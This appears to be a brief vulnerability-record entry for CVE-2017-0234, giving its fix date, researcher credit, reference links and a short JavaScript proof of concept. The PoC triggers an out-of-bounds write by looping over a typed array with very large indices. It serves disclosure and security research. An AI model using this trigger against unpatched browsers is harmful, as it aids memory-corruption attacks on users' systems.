CVE-2017-0234.md

CVE-2017-0234

• Fix: May 2017
• Credit: Yuange of Tencent Zhanlu Lab

PoC

function write(begin, end, step, num) {
    for (var i = begin; i < end; i += step) view[i] = num;
}

var buffer = new ArrayBuffer(0x10000);
var view = new Uint32Array(buffer);

write(0, 0x4000, 1, 0x1234);
write(0x3000000e, 0x40000010, 0x10000, 1851880825);

Reference

• Microsoft
• Fix